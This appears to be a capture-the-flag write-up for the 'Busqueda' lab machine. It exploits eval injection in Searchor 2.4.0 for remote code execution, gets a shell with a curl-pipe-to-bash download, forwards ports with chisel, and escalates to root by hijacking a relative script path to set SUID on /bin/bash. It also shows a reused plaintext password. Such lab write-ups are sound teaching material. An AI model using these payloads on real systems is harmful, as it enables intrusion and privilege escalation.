$ nmap -p- --min-rate 3000 10.129.51.139
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 11:25 EDT
Warning: 10.129.51.139 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.51.139
Host is up (0.17s latency).
Not shown: 65515 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We would have to add searcher.htb to our /etc/hosts file to view the website.
Searcher
This website seems to be a type of search engine using Flask:
We can submit queries at the bottom using a custom machine and stuff:
Whatever query we do here, depending on the engine, it would generate a URL for us with a query parameter appended at the end:
It seems that the website rejects any engine that is not present on its list. Running gobuster does not seem to reveal anything of interest, so let's take a closer look at the website itself. At the very bottom, it seems there's a link to the software being used, which is Searchor 2.4.0:
Looks like we need to do some source code review on this library.
Github Source Code
The repository seems to be on v2.5.0, while the website is running v2.4.0. As such, we probably need to dive into the logs of this website to find out what was changed from v2.4.0. Looking at the commit history, we see that there's a remove eval from search cli method commit made:
Here are the changes made:
This is vulnerbale because it uses eval to run the queries. Checking the v ersion, this edit was made for v2.4.2f, which means the machine is running a vulnerable version that is outdated since changes were not made for v2.4.0, specifically in the query parameter.
I sent import('os').system('ping -c 1 10.10.16.41') as the query, and got a response on tcpdump:
Now, we just need to gain a reverse shell. It seems that eval as it cannot process the reverse shells I put in. I found this writeup for a bug bounty that bypasses this by using compile().
However, this exploit would require us to 'close' the previous eval function and use another one. As such, we have to prepend our payload with d' to close the previous query. Using this payload, we can confirm RCE via curl:
All we have to do is change the command to curl <IP>/shell.sh|bash.
With this, we can grab the user flag.
Privilege Escalation
First I upgraded the shell by dropping my SSH public key into the machine. Then we can continue with our enumeration.
Sudo Credentials
I initially ran a LinPEAS and pspy64 scan, but found nothing from there. Next thing is to look for credentials, and we can start with /var/www/app since that's where the application source code is.
We can attempt a password reuse on the svc user to check the sudo privileges:
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Cool. We can't read the file, but we can see the options we have:
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Running the docker-ps option, we can see the other containers within the machine:
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 2 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 2 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Based on docker documentation, we would have to specify a format that we want to inspect. I {{.Config}} for this and got a few passwords out:
With this, we can try to access the Gitea instance at port 3000 via port forwarding.
Gitea -> Root shell
We can port foward via chisel.
# on Busqueda./chiselclient10.10.16.41:1080R:3000:127.0.0.1:3000# on kalichiselserver-p1080--reverse
Then we can access http://localhost:3000 to view Gitea:
Using the same MySQL password of yuiu1hoiu4i5ho1uh, we can login as administrator. We can see some repos:
And within administrator / scripts repo, we can read the system checkup script:
#!/bin/bashimport subprocessimport sysactions = ['full-checkup','docker-ps','docker-inspect']defrun_command(arg_list): r = subprocess.run(arg_list, capture_output=True)if r.stderr: output = r.stderr.decode()else: output = r.stdout.decode()return outputdefprocess_action(action):if action =='docker-inspect':try: _format = sys.argv[2]iflen(_format)==0:print(f"Format can't be empty")exit(1) container = sys.argv[3] arg_list = ['docker','inspect','--format', _format, container]print(run_command(arg_list))exceptIndexError:print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")exit(1)exceptExceptionas e:print('Something went wrong')exit(1)elif action =='docker-ps':try: arg_list = ['docker','ps']print(run_command(arg_list))except:print('Something went wrong')exit(1)elif action =='full-checkup':try: arg_list = ['./full-checkup.sh']print(run_command(arg_list))print('[+] Done!')except:print('Something went wrong')exit(1)if__name__=='__main__':try: action = sys.argv[1]if action in actions:process_action(action)else:raiseIndexErrorexceptIndexError:print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')print('')print(' docker-ps : List running docker containers')print(' docker-inspect : Inpect a certain docker container')print(' full-checkup : Run a full system checkup')print('')exit(1)
The full-checkup seems to run a script, but it does not specify the absolute path of the script. As such, we can create a fake copy of this script and execute chmod u+s /bin/bash.
We just need to create the malicious script named full-checkup.sh and make it executable.
#!/bin/bashchmodu+s/bin/bash
Afterwards, we can run the script with sudo and see that /bin/bash is now an SUID.